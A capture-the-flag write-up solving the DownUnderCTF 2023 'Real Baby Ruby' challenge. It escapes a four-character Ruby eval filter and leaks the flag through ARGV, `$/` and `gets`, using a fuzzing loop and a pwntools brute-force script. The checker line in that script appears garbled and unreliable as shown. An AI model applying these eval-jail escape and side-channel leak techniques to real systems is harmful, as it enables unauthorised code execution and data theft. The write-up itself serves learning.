Details
This is my solution for the Real Baby Ruby challenge from DownUnderCTF 2023. It is overcomplicated but I find it interesting.
The challenge was a ruby jail, with the following code:
while input = STDIN.gets.chomp do eval input if input.size < 5 && input !~ /`|%/ end
If you want the intended solution, here is the author’s writeup: Writeup
Solution
Limitation
We are limited to 4-character ruby commands, and we can’t use the following characters: ` %
The first iteration of this challenge didn’t have the character limitation and was easily solved with `sh`
.
My steps to find the solution
Ruby has something called symbols, which are basically strings that can’t be changed. The symbols are created using the syntax :symbol_name
. I tried to use one letter symbols to bypass the character limitation, but it didn’t seem to work, as you can’t concatenate symbols with the given limitations.
I started fuzzing the eval function to find valid combination of 2-letter commands
for i in 0..256 do
if i==96 then next end
for j in 0..256 do
if j==96 then next end
begin
el = "#{i.chr}#{j.chr}"
eval "#{el}"
puts "#{el}"
rescue Exception => e
end
end
end
I found that any combination that started with ?
was valid. Running the command ?a
returned the string 'a'
. It creates single character strings.
At this point I was thinking about string concatenation to get the path to the flag in a variable.
Variables do not persist between eval calls. I knew about global variables that start with $
, but it was too long to be used in the challenge. A payload using one would look like $v=?a
, which is 5 characters long.
I tried a lot of different things in the ruby console, and I eventually got the following error message:
(irb):3: warning: already initialized constant A
(irb):2: warning: previous definition of A was here
The commands I ran were similar to the following:
A=1
A=2
I tried this in the challenge and it worked. I could create global variables and set one to the path of the flag. The following code puts the flag path in the variable A
:
A=?/
B=?c
C=?h
D=?a
E=?l
F=?/
G=?f
H=?l
I=?a
J=?g
A+=B
A+=C
A+=D
A+=E
A+=F
A+=G
A+=H
A+=I
A+=J
At this point I just needed to print the contents of the file. The intended solution has a simple approach but I didn’t find it.
I was looking through some pre-defined global variables and found that ARGV
is aliased to $*
. This in itself did not help me yet.
I also looked into built-in functions in ruby and found some interesting behaviour with fork (still not useful) and noticed that the gets
command has 4 letters.
The documentation for gets
says:
Reads a string from the virtual concatenation of each file listed on
the command line or standard input (in case no files specified). If
the end of file is reached, nil will be the result. The line read is
also set to the variable $_. The line terminator is specified by the
optional argument rs, which default value is defined by the variable $/.
It reads from the files that are in ARGV
. It can read the flag but there will be no output. The $_
variable will be overwritten with the command input. I focused on the other special variable, $/
.
My plan was to put the flag path into ARGV
and read just parts of the flag. For example, if the flag was DUCTF{HelloWorld}
and I set $/
to CTF{He
, the gets
function will be able to read twice from the file instead of just once. I noticed that after the first gets
call the path is removed from the ARGV
array.
I pushed the flag twice into the ARGV
array, set the $/
variable to UCTF{
and called gets
twice. Printing the ARGV
array using p $*
returned ["/chal/flag"]
, meaning that the second path was not consumed yet.
I tried all valid flag characters after {
and checked if the ARGV
array was entirely consumed or not.
I wrote a script to automate this process and get the flag
from pwn import *
FLAG = "DUCTF{"
while "}" not in FLAG:
for new_char in "}_abcdefghijklmnopqrstuvwxyz!@#$^&*()+;-=':\"[],.<>/?":
FLAG += new_char
print("Current",FLAG)
setup = (
"A=?/\n"
"B=?c\n"
"C=?h\n"
"D=?a\n"
"E=?l\n"
"F=?/\n"
"G=?f\n"
"H=?l\n"
"I=?a\n"
"J=?g\n"
"A+=B\n"
"A+=C\n"
"A+=D\n"
"A+=E\n"
"A+=F\n"
"A+=G\n"
"A+=H\n"
"A+=I\n"
"A+=J\n"
"C=$*\n"
"C<<A\n"
"C<<A\n"
)
delimiter = "K=?U\n"
for c in FLAG[2:]:
delimiter += (
f"L=?{c}\n"
"K+=L\n"
)
checker = (
"$/=K\n"
f"2{FLAG[1:]}gets{FLAG[1:]}gets{FLAG[1:]}p $*{FLAG[1:]}\n"
)
payload = setup + delimiter + checker
open("payload", "w").write(payload)
# p = process(["bash", "-c", "nc 2023.ductf.dev 30031 < payload"], level="error")
p = process(["bash", "-c", "ruby real-baby.rb < payload"], level="error")
data = p.recvuntil(b"]")
p.close()
if b"/flag" in data:
print("\nFOUND")
break
else:
FLAG = FLAG[:-1]